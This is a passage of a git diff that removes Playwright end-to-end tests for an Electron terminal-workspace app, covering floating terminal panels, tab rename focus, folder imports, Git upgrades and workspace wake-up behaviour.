OPEN_PANEL_SELECTOR = '[data-floating-terminal-panel][aria-hidden="false"]' - -// Switching must reveal the floating panel without selecting its workspace in the main window. -test('switching to a floating terminal opens the panel and keeps the main workspace', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - const mainWorktreeId = await waitForActiveWorktree(orcaPage) - - const tabId = await orcaPage.evaluate(async (worktreeId) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - await store.getState().updateSettings({ floatingTerminalEnabled: true }) - store.setState({ floatingWorkspacePanelOpen: false }) - return store.getState().createTab(worktreeId, undefined, undefined, { activate: false }).id - }, FLOATING_WORKTREE_ID) - await expect(orcaPage.locator(OPEN_PANEL_SELECTOR)).toHaveCount(0) - - await electronApp.evaluate( - ({ BrowserWindow }, payload) => { - BrowserWindow.getAllWindows()[0]?.webContents.send('ui:focusTerminal', payload) - }, - { tabId, worktreeId: FLOATING_WORKTREE_ID } - ) - - await expect(orcaPage.locator(OPEN_PANEL_SELECTOR)).toBeVisible() - const selection = await orcaPage.evaluate((worktreeId) => { - const state = window.__store?.getState() - return { - active: state?.activeWorktreeId, - floatingTab: state?.activeTabIdByWorktree[worktreeId] - } - }, FLOATING_WORKTREE_ID) - expect(selection).toEqual({ active: mainWorktreeId, floatingTab: tabId }) - - await expect( - orcaPage.locator(`${OPEN_PANEL_SELECTOR} [data-floating-workspace-surface-frame]`) - ).toBeVisible() - const geometry = await orcaPage.evaluate((panelSelector) => { - const panel = document.querySelector(panelSelector) - const surfaceFrame = panel?.querySelector( - '[data-floating-workspace-surface-frame]' - ) - const handles = Array.from( - panel?.querySelectorAll('[data-floating-terminal-no-drag]') ?? [] - ) - const eastHandle = handles.find((el) => el.classList.contains('cursor-e-resize')) - if (!panel || !surfaceFrame || !eastHandle) { - return null - } - const panelRect = panel.getBoundingClientRect() - const surfaceRect = surfaceFrame.getBoundingClientRect() - const eastRect = eastHandle.getBoundingClientRect() - const outsidePanelCount = handles.filter((el) => { - const r = el.getBoundingClientRect() - return ( - r.left < panelRect.left - 0.5 || - r.right > panelRect.right + 0.5 || - r.top < panelRect.top - 0.5 || - r.bottom > panelRect.bottom + 0.5 - ) - }).length - const scrollbarprobeX = surfaceRect.right - 3 - const scrollbarProbeY = Math.round((surfaceRect.top + surfaceRect.bottom) / 2) - const hitAtScrollbarEdge = document.elementFromPoint(scrollbarprobeX, scrollbarProbeY) - return { - eastWidth: Math.round(eastRect.width), - eastStartsAtOrAfterSurfaceRight: eastRect.left >= surfaceRect.right - 0.5, - outsidePanelCount, - scrollbarEdgeBlockedByResizeHandle: hitAtScrollbarEdge === eastHandle - } - }, OPEN_PANEL_SELECTOR) - expect(geometry).toEqual({ - eastWidth: 4, - eastStartsAtOrAfterSurfaceRight: true, - outsidePanelCount: 0, - scrollbarEdgeBlockedByResizeHandle: false - }) -}) diff --git a/tests/e2e/floating-terminal-tab-rename-focus.spec.ts b/tests/e2e/floating-terminal-tab-rename-focus.spec.ts deleted file mode 100644 index 2c7bd962e8a..00000000000 --- a/tests/e2e/floating-terminal-tab-rename-focus.spec.ts +++ /dev/null @@ -1,288 +0,0 @@ -import { mkdirSync } from 'node:fs' -import path from 'node:path' -import type { Locator, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - resolveActiveTabId, - splitActiveTerminalPane, - waitForActiveTerminalManager, - waitForPaneIdentitySnapshot -} from './helpers/terminal' - -const FLOATING_WORKTREE_ID = 'global-floating-terminal' -const OPEN_PANEL_SELECTOR = '[data-floating-terminal-panel][aria-hidden="false"]' -const nextTabChord = process.platform === 'darwin' ? 'Meta+Shift+]' : 'Control+Shift+]' - -async function openFloatingTerminals(page: Page): Promise<{ first: Locator; second: Locator }> { - await waitForSessionReady(page) - await waitForActiveWorktree(page) - const ids = await page.evaluate(async (worktreeId) => { - const store = window.__store! - await store.getState().updateSettings({ floatingTerminalEnabled: true }) - const first = store.getState().createTab(worktreeId, undefined, undefined, { activate: false }) - const second = store.getState().createTab(worktreeId, undefined, undefined, { activate: false }) - store.getState().setTabCustomTitle(first.id, 'Rename target') - store.getState().setTabCustomTitle(second.id, 'Other terminal') - store.setState({ floatingWorkspacePanelOpen: true }) - return [first.id, second.id] - }, FLOATING_WORKTREE_ID) - const panel = page.locator(OPEN_PANEL_SELECTOR) - await expect(panel).toBeVisible() - const first = panel.locator(`[data-testid="sortable-tab"][data-tab-id="${ids[0]}"]`) - const second = panel.locator(`[data-testid="sortable-tab"][data-tab-id="${ids[1]}"]`) - await first.click() - await expect(first).toHaveAttribute('data-active', 'true') - await expect( - panel.locator(`[data-terminal-tab-id="${ids[0]}"] .xterm-helper-textarea`) - ).toBeFocused() - return { first, second } -} - -async function beginRename( - page: Page, - tab: Locator, - entry: 'menu' | 'double-click' -): Promise { - if (entry === 'menu') { - await tab.click({ button: 'right' }) - await page.getByRole('menuitem', { name: /^Change Title(?:\s|$)/ }).click() - await expect(page.getByRole('menu')).toHaveCount(0) - } else { - await tab.dblclick() - } - const input = tab.locator('[data-tab-rename-input="true"]') - await expect(input).toBeFocused() - // Let activation's deferred focus finish while the rename input still owns focus. - await settleDeferredFocus(page) - return input -} - -async function settleDeferredFocus(page: Page): Promise { - await page.evaluate(async () => { - for (let frame = 0; frame < 6; frame += 1) { - await new Promise((resolve) => requestAnimationFrame(() => resolve())) - } - }) -} - -async function expectKeyboardOutput(page: Page, tab: Locator, marker: string): Promise { - const tabId = await tab.getAttribute('data-tab-id') - await expect( - page.locator(`[data-terminal-tab-id="${tabId}"] .xterm-helper-textarea:focus`) - ).toHaveCount(1) - await expect - .poll(() => - page.evaluate((id) => { - const pane = id ? window.__paneManagers?.get(id)?.getActivePane() : null - return Boolean(pane?.container.dataset.ptyId && pane.serializeAddon?.serialize().trim()) - }, tabId) - ) - .toBe(true) - await settleDeferredFocus(page) - await expect( - page.locator(`[data-terminal-tab-id="${tabId}"] .xterm-helper-textarea:focus`) - ).toHaveCount(1) - await page.keyboard.type(`echo ${marker}`) - await page.keyboard.press('Enter') - await expect - .poll(() => - page.evaluate((id) => { - const buffer = id - ? window.__paneManagers?.get(id)?.getActivePane()?.terminal.buffer.active - : null - if (!buffer) { - return [] - } - return Array.from({ length: buffer.length }, (_, index) => - buffer.getLine(index)?.translateToString(true).trim() - ) - }, tabId) - ) - .toContain(marker) -} - -for (const entry of ['menu', 'double-click'] as const) { - for (const exit of ['Enter', 'Escape', 'empty'] as const) { - test(`${entry} rename ${exit} returns floating keyboard input to the terminal`, async ({ - orcaPage - }) => { - const { first, second } = await openFloatingTerminals(orcaPage) - await expectKeyboardOutput(orcaPage, first, 'ORCA_RENAME_BASELINE') - await orcaPage.keyboard.press(nextTabChord) - await expect(second).toHaveAttribute('data-active', 'true') - await first.click() - - const input = await beginRename(orcaPage, first, entry) - await input.fill('') - if (exit !== 'empty') { - await input.pressSequentially('Renamed terminal', { delay: 60 }) - } - await orcaPage.keyboard.press(exit === 'Escape' ? 'Escape' : 'Enter') - await expect(input).toHaveCount(0) - await (exit === 'empty' - ? expect(first).not.toHaveAttribute('data-tab-title', 'Rename target') - : expect(first).toHaveAttribute( - 'data-tab-title', - exit === 'Escape' ? 'Rename target' : 'Renamed terminal' - )) - await expect( - orcaPage.locator(`${OPEN_PANEL_SELECTOR} .xterm-helper-textarea:focus`) - ).toHaveCount(1) - await expectKeyboardOutput(orcaPage, first, 'ORCA_RENAME_RECOVERED') - await orcaPage.keyboard.press(nextTabChord) - await expect(second).toHaveAttribute('data-active', 'true') - await expectKeyboardOutput(orcaPage, second, 'ORCA_RENAME_SWITCHED') - }) - } -} - -test('blur commits without taking keyboard input back from another floating tab', async ({ - orcaPage -}) => { - const { first, second } = await openFloatingTerminals(orcaPage) - const input = await beginRename(orcaPage, first, 'double-click') - await input.fill('Blur committed') - await second.click() - await expect(input).toHaveCount(0) - await expect(first).toHaveAttribute('data-tab-title', 'Blur committed') - await expect(second).toHaveAttribute('data-active', 'true') - await expectKeyboardOutput(orcaPage, second, 'ORCA_RENAME_BLUR') -}) - -test('renaming an inactive floating tab does not activate or focus its terminal', async ({ - orcaPage -}) => { - const { first, second } = await openFloatingTerminals(orcaPage) - const input = await beginRename(orcaPage, second, 'menu') - await expect(first).toHaveAttribute('data-active', 'true') - await input.fill('Inactive renamed') - await orcaPage.keyboard.press('Enter') - await expect(second).toHaveAttribute('data-tab-title', 'Inactive renamed') - await settleDeferredFocus(orcaPage) - await expect(first).toHaveAttribute('data-active', 'true') - const secondId = await second.getAttribute('data-tab-id') - await expect( - orcaPage.locator(`[data-terminal-tab-id="${secondId}"] .xterm-helper-textarea:focus`) - ).toHaveCount(0) -}) - -test('blur preserves focus in the worktree search dialog', async ({ orcaPage }) => { - const { first } = await openFloatingTerminals(orcaPage) - const input = await beginRename(orcaPage, first, 'double-click') - await input.fill('Search committed') - await orcaPage - .getByRole('button', { name: 'Search worktrees and browser tabs', exact: true }) - .click() - await expect(input).toHaveCount(0) - await expect(first).toHaveAttribute('data-tab-title', 'Search committed') - const search = orcaPage.getByRole('dialog').locator('input').first() - await expect(search).toBeFocused() - await settleDeferredFocus(orcaPage) - await orcaPage.keyboard.type('search owns input') - await expect(search).toHaveValue('search owns input') -}) - -for (const change of ['hide', 'close'] as const) { - test(`a ${change} at rename completion cancels the deferred floating focus return`, async ({ - orcaPage - }) => { - const { first } = await openFloatingTerminals(orcaPage) - const tabId = await first.getAttribute('data-tab-id') - const input = await beginRename(orcaPage, first, 'menu') - await input.fill('Exiting tab') - await orcaPage.evaluate( - ({ tabId, change }) => { - // Run after React handles Enter, but before any queued animation frame. - document.addEventListener( - 'keydown', - () => { - const store = window.__store! - if (change === 'hide') { - store.setState({ floatingWorkspacePanelOpen: false }) - } else if (tabId) { - store.getState().closeTab(tabId) - } - }, - { once: true } - ) - }, - { tabId, change } - ) - await orcaPage.keyboard.press('Enter') - await expect(input).toBeHidden() - await settleDeferredFocus(orcaPage) - await expect( - orcaPage.locator(`[data-terminal-tab-id="${tabId}"] .xterm-helper-textarea:focus`) - ).toHaveCount(0) - }) -} - -for (const workspace of ['git', 'folder'] as const) { - test(`keyboard rename in a ${workspace} workspace returns input to the selected split leaf`, async ({ - orcaPage, - electronApp - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - if (workspace === 'folder') { - const folderPath = path.join( - await electronApp.evaluate(({ app }) => app.getPath('home')), - 'rename-folder' - ) - mkdirSync(folderPath) - await orcaPage.evaluate(async (folderPath) => { - const state = window.__store!.getState() - await state.updateSettingsOrThrow({ defaultTuiAgent: 'blank' }) - const group = await window.api.projectGroups.create({ - name: 'Rename regression', - parentPath: folderPath, - createdFrom: 'folder-scan' - }) - await state.fetchProjectGroups({ runtimeEnvironmentId: null, throwOnError: true }) - await state.createFolderWorkspace( - { projectGroupId: group.id, name: 'Rename folder', folderPath }, - { runtimeEnvironmentId: null } - ) - state.openModal('worktree-palette') - }, folderPath) - const palette = orcaPage.getByRole('dialog', { name: 'Jump to...' }) - await palette.getByRole('combobox').fill('Rename folder') - await palette.getByRole('combobox').press('Enter') - await expect(palette).toHaveCount(0) - } - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - await splitActiveTerminalPane(orcaPage, 'horizontal') - await waitForPaneIdentitySnapshot(orcaPage, 2) - const tabId = await resolveActiveTabId(orcaPage) - const tab = orcaPage.locator(`[data-testid="sortable-tab"][data-tab-id="${tabId}"]`) - const panes = orcaPage.locator(`[data-terminal-tab-id="${tabId}"] .pane[data-leaf-id]`) - await panes.first().locator('.xterm-screen').click() - await panes.last().locator('.xterm-screen').click() - const leafId = await panes.last().getAttribute('data-leaf-id') - expect(leafId).toBeTruthy() - await expect - .poll(() => - orcaPage.evaluate( - (id) => (id ? window.__store?.getState().terminalLayoutsByTabId[id]?.activeLeafId : null), - tabId - ) - ) - .toBe(leafId) - const input = await beginRename(orcaPage, tab, 'menu') - await input.fill('Split renamed') - await orcaPage.keyboard.press('Enter') - await expect(input).toHaveCount(0) - await expect( - orcaPage.locator(`[data-leaf-id="${leafId}"] .xterm-helper-textarea`) - ).toBeFocused() - await expectKeyboardOutput(orcaPage, tab, 'ORCA_RENAME_SPLIT') - await orcaPage.screenshot({ path: testInfo.outputPath('split-rename-focus.png') }) - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().every((window) => !window.isVisible()) - ) - ).toBe(true) - }) -} diff --git a/tests/e2e/folder-repo-git-upgrade.spec.ts b/tests/e2e/folder-repo-git-upgrade.spec.ts deleted file mode 100644 index e5974f1132b..00000000000 --- a/tests/e2e/folder-repo-git-upgrade.spec.ts +++ /dev/null @@ -1,71 +0,0 @@ -import { mkdtempSync, realpathSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { openSidebarProjectMenu } from './helpers/sidebar-project-dialog' -import { runProcess } from '@orca/process-host' - -test.use({ seedTestRepo: false }) - -async function runFixtureGit(spec: Parameters[0]): Promise { - const result = await runProcess(spec) - expect(result.code, result.stderr).toBe(0) -} - -test('Add Project opens a folder and preserves its workspace when Git appears', async ({ - electronApp, - orcaPage, - registerPostElectronShutdownCleanup -}, testInfo) => { - const folderPath = realpathSync(mkdtempSync(join(tmpdir(), 'orca-folder-upgrade-'))) - registerPostElectronShutdownCleanup(async () => { - const { rm } = await import('node:fs/promises') - await rm(folderPath, { recursive: true, force: true }) - }) - await waitForSessionReady(orcaPage) - await electronApp.evaluate(({ dialog }, path) => { - dialog.showOpenDialog = async () => ({ canceled: false, filePaths: [path], bookmarks: [] }) - }, folderPath) - await openSidebarProjectMenu(orcaPage) - await orcaPage.getByRole('menuitem', { name: /Browse folder/i }).click() - const dialog = orcaPage.getByRole('dialog', { name: 'Open as Folder' }) - await expect(dialog).toBeVisible() - await orcaPage.screenshot({ path: testInfo.outputPath('open-folder.png') }) - await dialog.getByRole('button', { name: 'Open as Folder', exact: true }).click() - await expect - .poll(() => orcaPage.evaluate(() => window.__store!.getState().repos[0]?.kind)) - .toBe('folder') - await expect - .poll(() => - orcaPage.evaluate(() => { - const state = window.__store!.getState() - return state.worktreesByRepo[state.repos[0].id]?.[0]?.id - }) - ) - .toBeTruthy() - const before = await orcaPage.evaluate(() => { - const state = window.__store!.getState() - const repo = state.repos[0] - return { repoId: repo.id, worktreeId: state.worktreesByRepo[repo.id]?.[0]?.id } - }) - await orcaPage.screenshot({ path: testInfo.outputPath('folder-workspace.png') }) - await runFixtureGit({ program: 'git', args: ['init', folderPath] }) - await expect - .poll(() => orcaPage.evaluate(() => window.__store!.getState().repos[0]?.kind), { - timeout: 30_000 - }) - .toBe('git') - await expect - .poll( - () => - orcaPage.evaluate(() => { - const state = window.__store!.getState() - const repo = state.repos[0] - return { repoId: repo.id, worktreeId: state.worktreesByRepo[repo.id]?.[0]?.id } - }), - { timeout: 30_000 } - ) - .toEqual(before) - await orcaPage.screenshot({ path: testInfo.outputPath('git-workspace.png') }) -}) diff --git a/tests/e2e/folder-setup-shallow-priority.spec.ts b/tests/e2e/folder-setup-shallow-priority.spec.ts deleted file mode 100644 index 6ad70c517ba..00000000000 --- a/tests/e2e/folder-setup-shallow-priority.spec.ts +++ /dev/null @@ -1,150 +0,0 @@ -import { openSidebarProjectMenu } from './helpers/sidebar-project-dialog' -import { execFileSync } from 'node:child_process' -import { mkdirSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import { mkdtemp } from 'node:fs/promises' -import os from 'node:os' -import path from 'node:path' -import type { ElectronApplication, Locator } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' - -const tempRoots: string[] = [] -const IMPORT_AS_GROUP_BUTTON_NAME = 'Yes, import as group' - -function initializeGitRepo(repoPath: string): void { - mkdirSync(repoPath, { recursive: true }) - execFileSync('git', ['init'], { cwd: repoPath, stdio: 'pipe' }) - execFileSync('git', ['config', 'user.email', 'e2e@test.local'], { - cwd: repoPath, - stdio: 'pipe' - }) - execFileSync('git', ['config', 'user.name', 'E2E Test'], { cwd: repoPath, stdio: 'pipe' }) - writeFileSync(path.join(repoPath, 'README.md'), `# ${path.basename(repoPath)}\n`) - execFileSync('git', ['add', 'README.md'], { cwd: repoPath, stdio: 'pipe' }) - execFileSync('git', ['commit', '-m', 'Initial commit'], { cwd: repoPath, stdio: 'pipe' }) -} - -async function createShallowPriorityTruncationFixture(): Promise<{ - parentPath: string - webClientPath: string - groupName: string -}> { - // Resolve macOS /var symlinks like import does when recording project paths. - const parentPath = realpathSync( - await mkdtemp(path.join(os.tmpdir(), 'orca-e2e-shallow-priority-')) - ) - tempRoots.push(parentPath) - const archivePath = path.join(parentPath, 'archive') - const webClientPath = path.join(parentPath, 'z-web-client') - - for (let index = 1; index <= 101; index += 1) { - const repoName = `archived-service-${String(index).padStart(3, '0')}` - // Only repo markers matter to this scan; avoid initializing 101 unused git repositories. - mkdirSync(path.join(archivePath, repoName, '.git'), { recursive: true }) - } - initializeGitRepo(webClientPath) - - return { - parentPath, - webClientPath, - groupName: path.basename(parentPath) - } -} - -async function chooseFolderInNativeDialog( - electronApp: ElectronApplication, - folderPath: string -): Promise { - await electronApp.evaluate(({ dialog }, selectedPath) => { - dialog.showOpenDialog = async () => ({ - canceled: false, - filePaths: [selectedPath], - bookmarks: [] - }) - }, folderPath) -} - -function getImportAsGroupButton(importDialog: Locator): Locator { - // Require the current accessible action so retired labels cannot hide copy drift. - return importDialog.getByRole('button', { - name: IMPORT_AS_GROUP_BUTTON_NAME, - exact: true - }) -} - -test.afterEach(() => { - for (const root of tempRoots.splice(0)) { - rmSync(root, { recursive: true, force: true }) - } -}) - -test('prioritizes shallow sibling repositories in a bounded nested scan', async ({ - electronApp, - orcaPage -}) => { - await waitForSessionReady(orcaPage) - const fixture = await createShallowPriorityTruncationFixture() - await chooseFolderInNativeDialog(electronApp, fixture.parentPath) - - await openSidebarProjectMenu(orcaPage) - await orcaPage.getByRole('menuitem', { name: /Browse folder/i }).click() - - const importDialog = orcaPage.getByRole('dialog', { - name: /Import repositories from folder/i - }) - await expect(importDialog.getByText('z-web-client', { exact: true }).first()).toBeVisible() - - await importDialog.getByLabel('Deselect all').click() - await importDialog - .locator('label') - .filter({ hasText: 'z-web-client' }) - .locator('input[type="checkbox"]') - .check() - await getImportAsGroupButton(importDialog).click() - - await expect - .poll( - () => - orcaPage.evaluate( - (args) => { - const state = window.__store?.getState() - if (!state) { - return null - } - const group = state.projectGroups.find((entry) => entry.parentPath === args.parentPath) - const importedRepo = state.repos.find((repo) => repo.path === args.webClientPath) - return { - groupName: group?.name ?? null, - groupParentPath: group?.parentPath ?? null, - importedRepoPath: importedRepo?.path ?? null, - importedRepoName: importedRepo?.displayName ?? null, - repoInCreatedGroup: group !== undefined && importedRepo?.projectGroupId === group.id, - importedArchiveCount: state.repos.filter((repo) => - repo.path.includes(`${args.pathSeparator}archive${args.pathSeparator}`) - ).length - } - }, - { ...fixture, pathSeparator: path.sep } - ), - { - timeout: 20_000, - message: 'shallow repo from truncated nested scan was not imported into the group' - } - ) - .toEqual({ - groupName: fixture.groupName, - groupParentPath: fixture.parentPath, - importedRepoPath: fixture.webClientPath, - importedRepoName: 'z-web-client', - repoInCreatedGroup: true, - importedArchiveCount: 0 - }) - - await orcaPage.evaluate(() => { - const state = window.__store?.getState() - state?.closeModal() - state?.setGroupBy('repo') - }) - await expect(orcaPage.getByText(fixture.groupName)).toBeVisible() - await expect(orcaPage.getByText('z-web-client').first()).toBeVisible() -}) diff --git a/tests/e2e/folder-setup.spec.ts b/tests/e2e/folder-setup.spec.ts deleted file mode 100644 index 0ae6a5ed3db..00000000000 --- a/tests/e2e/folder-setup.spec.ts +++ /dev/null @@ -1,181 +0,0 @@ -import { openSidebarProjectMenu } from './helpers/sidebar-project-dialog' -import { execFileSync } from 'node:child_process' -import { mkdirSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import { mkdtemp } from 'node:fs/promises' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import type { ElectronApplication, Locator } from '@stablyai/playwright-test' - -const IMPORT_AS_GROUP_BUTTON_NAME = 'Yes, import as group' - -const tempRoots: string[] = [] - -function initializeGitRepo(repoPath: string): void { - mkdirSync(repoPath, { recursive: true }) - execFileSync('git', ['init'], { cwd: repoPath, stdio: 'pipe' }) - execFileSync('git', ['config', 'user.email', 'e2e@test.local'], { - cwd: repoPath, - stdio: 'pipe' - }) - execFileSync('git', ['config', 'user.name', 'E2E Test'], { cwd: repoPath, stdio: 'pipe' }) - writeFileSync(path.join(repoPath, 'README.md'), `# ${path.basename(repoPath)}\n`) - execFileSync('git', ['add', 'README.md'], { cwd: repoPath, stdio: 'pipe' }) - execFileSync('git', ['commit', '-m', 'Initial commit'], { cwd: repoPath, stdio: 'pipe' }) -} - -async function createLargeNestedRepoFixture(): Promise<{ - parentPath: string - projectPaths: string[] - selectedProjectPaths: string[] -}> { - // Resolve macOS /var symlinks like git does when registering imported projects. - const parentPath = realpathSync( - await mkdtemp(path.join(os.tmpdir(), 'orca-e2e-large-folder-setup-')) - ) - tempRoots.push(parentPath) - const nestedParent = path.join( - parentPath, - 'products-with-long-folder-name', - 'platform-domain-with-long-folder-name', - 'region-alpha-with-long-folder-name' - ) - const projectPaths = Array.from({ length: 87 }, (_, index) => { - const repoName = `service-${String(index + 1).padStart(2, '0')}-with-long-repository-name` - return path.join(nestedParent, repoName) - }) - - for (const repoPath of projectPaths) { - initializeGitRepo(repoPath) - } - - return { - parentPath, - projectPaths, - selectedProjectPaths: [projectPaths[2], projectPaths[41], projectPaths[86]] - } -} - -test.afterEach(() => { - for (const root of tempRoots.splice(0)) { - rmSync(root, { recursive: true, force: true }) - } -}) - -async function chooseFolderInNativeDialog( - electronApp: ElectronApplication, - folderPath: string -): Promise { - await electronApp.evaluate(({ dialog }, selectedPath) => { - dialog.showOpenDialog = async () => ({ - canceled: false, - filePaths: [selectedPath], - bookmarks: [] - }) - }, folderPath) -} - -function getImportAsGroupButton(importDialog: Locator): Locator { - // Require the current accessible action so retired labels cannot hide copy drift. - return importDialog.getByRole('button', { - name: IMPORT_AS_GROUP_BUTTON_NAME, - exact: true - }) -} - -test.describe('Folder setup', () => { - test('imports a small selection from a large nested folder without modal overflow', async ({ - electronApp, - orcaPage - }) => { - await waitForSessionReady(orcaPage) - const fixture = await createLargeNestedRepoFixture() - await chooseFolderInNativeDialog(electronApp, fixture.parentPath) - - await openSidebarProjectMenu(orcaPage) - await orcaPage.getByRole('menuitem', { name: /Browse folder/i }).click() - - const importDialog = orcaPage.getByRole('dialog', { - name: /Import repositories from folder/i - }) - await expect - .poll(async () => - importDialog.locator('ul').evaluate((list) => { - const dialog = list.closest('[role="dialog"]') - if (!dialog) { - return 0 - } - const dialogRight = dialog.getBoundingClientRect().right - return [...list.querySelectorAll('li, label, span')].filter( - (node) => node.getBoundingClientRect().right > dialogRight + 1 - ).length - }) - ) - .toBe(0) - - await importDialog.getByLabel('Deselect all').click() - for (const projectPath of fixture.selectedProjectPaths) { - const repoName = path.basename(projectPath) - await importDialog - .locator('label') - .filter({ hasText: repoName }) - .locator('input[type="checkbox"]') - .check() - } - await getImportAsGroupButton(importDialog).click() - - await expect - .poll( - () => - orcaPage.evaluate(async (args) => { - const state = window.__store?.getState() - if (!state) { - return null - } - const importedRepos = state.repos.filter((repo) => - args.selectedProjectPaths.includes(repo.path) - ) - const fixtureRepos = state.repos.filter((repo) => args.projectPaths.includes(repo.path)) - const group = state.projectGroups.find((entry) => entry.parentPath === args.parentPath) - const groupsById = new Map(state.projectGroups.map((entry) => [entry.id, entry])) - const isInGroupSubtree = (groupId: string | null | undefined): boolean => { - let currentId = groupId ?? null - while (currentId) { - if (currentId === group?.id) { - return true - } - currentId = groupsById.get(currentId)?.parentGroupId ?? null - } - return false - } - const worktreeCounts = await Promise.all( - importedRepos.map(async (repo) => { - const result = await window.api.worktrees.listDetected({ repoId: repo.id }) - return result.worktrees.length - }) - ) - return { - importedCount: importedRepos.length, - fixtureImportCount: fixtureRepos.length, - allSelectedInGroup: - group !== undefined && - importedRepos.every((repo) => isInGroupSubtree(repo.projectGroupId)), - allSelectedHaveWorktrees: - importedRepos.length === args.selectedProjectPaths.length && - worktreeCounts.every((count) => count > 0) - } - }, fixture), - { - timeout: 20_000, - message: 'selected repos from the large nested scan were not imported into the group' - } - ) - .toEqual({ - importedCount: 3, - fixtureImportCount: 3, - allSelectedInGroup: true, - allSelectedHaveWorktrees: true - }) - }) -}) diff --git a/tests/e2e/folder-workspace-palette-wake.spec.ts b/tests/e2e/folder-workspace-palette-wake.spec.ts deleted file mode 100644 index 1b17577e902..00000000000 --- a/tests/e2e/folder-workspace-palette-wake.spec.ts +++ /dev/null @@ -1,104 +0,0 @@ -import { mkdtempSync, realpathSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { - execInTerminal, - expectTerminalAccessibilityText, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' - -test.use({ seedTestRepo: false }) - -for (const selection of ['workspace', 'tab'] as const) { - test(`Cmd+J ${selection} selection wakes a sleeping folder and restores Files mode`, async ({ - orcaPage, - electronApp, - registerPostElectronShutdownCleanup - }, testInfo) => { - const folderPath = realpathSync(mkdtempSync(path.join(os.tmpdir(), 'orca-folder-wake-'))) - registerPostElectronShutdownCleanup(async () => - rmSync(folderPath, { recursive: true, force: true }) - ) - await waitForSessionReady(orcaPage) - const folders = await orcaPage.evaluate(async (folderPath) => { - const store = window.__store! - await store.getState().updateSettingsOrThrow({ defaultTuiAgent: 'blank' }) - const group = await window.api.projectGroups.create({ - name: 'Folder wake regression', - parentPath: folderPath, - createdFrom: 'folder-scan' - }) - await store.getState().fetchProjectGroups({ runtimeEnvironmentId: null, throwOnError: true }) - const target = await store - .getState() - .createFolderWorkspace( - { projectGroupId: group.id, name: 'Sleeping research', folderPath }, - { runtimeEnvironmentId: null } - ) - const other = await store - .getState() - .createFolderWorkspace( - { projectGroupId: group.id, name: 'Other research', folderPath }, - { runtimeEnvironmentId: null } - ) - if (!target || !other) { - throw new Error('Could not create folder workspaces') - } - return { target: target.folderWorkspace.id, other: other.folderWorkspace.id } - }, folderPath) - const openPalette = async (): Promise => { - // Native menu accelerators need desktop focus; drive the same palette through CDP. - await orcaPage.evaluate(() => window.__store!.getState().openModal('worktree-palette')) - } - const palette = orcaPage.getByRole('dialog', { name: 'Jump to...' }) - await openPalette() - await palette.getByRole('combobox').fill('Sleeping research') - await palette.getByRole('combobox').press('Enter') - await expect(palette).toHaveCount(0) - await waitForActiveTerminalManager(orcaPage) - await waitForActivePanePtyId(orcaPage) - const tabId = await orcaPage.evaluate(() => { - const state = window.__store!.getState() - const tabId = state.activeTabId - if (!tabId) { - throw new Error('Folder terminal is missing') - } - state.setTabCustomTitle(tabId, 'Wake marker terminal') - state.showRightSidebarFiles() - return tabId - }) - await expect(orcaPage.getByRole('textbox', { name: 'Find files', exact: true })).toBeVisible() - await openPalette() - await palette.getByRole('combobox').fill('Other research') - await palette.getByRole('combobox').press('Enter') - await expect(palette).toHaveCount(0) - await orcaPage.evaluate(async (targetId) => { - const state = window.__store!.getState() - state.showRightSidebarSearch() - await state.shutdownWorktreeTerminals(`folder:${targetId}`, { keepIdentifiers: true }) - }, folders.target) - await expect(orcaPage.getByRole('textbox', { name: 'Find files', exact: true })).toBeHidden() - - await openPalette() - const query = selection === 'workspace' ? 'Sleeping research' : 'Wake marker terminal' - await palette.getByRole('combobox').fill(query) - const row = palette.locator('[cmdk-item][data-selected="true"]') - await expect(row).toContainText(query) - await palette.getByRole('combobox').press('Enter') - await expect(palette).toHaveCount(0) - await expect(orcaPage.getByRole('textbox', { name: 'Find files', exact: true })).toBeVisible() - await waitForActiveTerminalManager(orcaPage) - const ptyId = await waitForActivePanePtyId(orcaPage) - await execInTerminal(orcaPage, ptyId, 'echo FOLDER_WAKE_OK') - await expectTerminalAccessibilityText(orcaPage, tabId, 'FOLDER_WAKE_OK') - await orcaPage.screenshot({ path: testInfo.outputPath(`folder-${selection}-wake.png`) }) - expect( - await electronApp.evaluate(({ BrowserWindow }) => - BrowserWindow.getAllWindows().every((window) => !window.isVisible()) - ) - ).toBe(true) - }) -} diff --git a/tests/e2e/github-pr-hosted-receipt-loop.unit.test.ts b/tests/e2e/github-pr-hosted-receipt-loop.unit.test.ts deleted file mode 100644 index 24610ba73a5..00000000000 --- a/tests/e2e/github-pr-hosted-receipt-loop.unit.test.ts +++ /dev/null @@ -1,284 +0,0 @@ -import { describe, expect, it, vi } from 'vitest' -import { - commands, - fixture, - found, - mocks, - rpcRead -} from '../../src/main/runtime/integrations/reviews/runtime-hosted-pr-snapshot-test-harness' -import type { PRRefreshOutcome } from '../../src/shared/github/pull-requests/refresh/pull-request-refresh-types' - -describe('hosted PR receipt delivery', () => { - it('carries a real deferred reply through the visible target, store and scheduler to its completion', async () => { - const { - createTestStore, - makePRRefreshWorktree, - resetRemoteRuntimeMocks, - runtimeEnvironmentCall - } = await import('../../src/renderer/src/store/github/github-slice-test-harness') - const { getVisibleHostedReviewRefreshTargets } = - await import('../../src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-targets') - const { createVisibleHostedReviewRefreshScheduler } = - await import('../../src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-scheduler') - const { 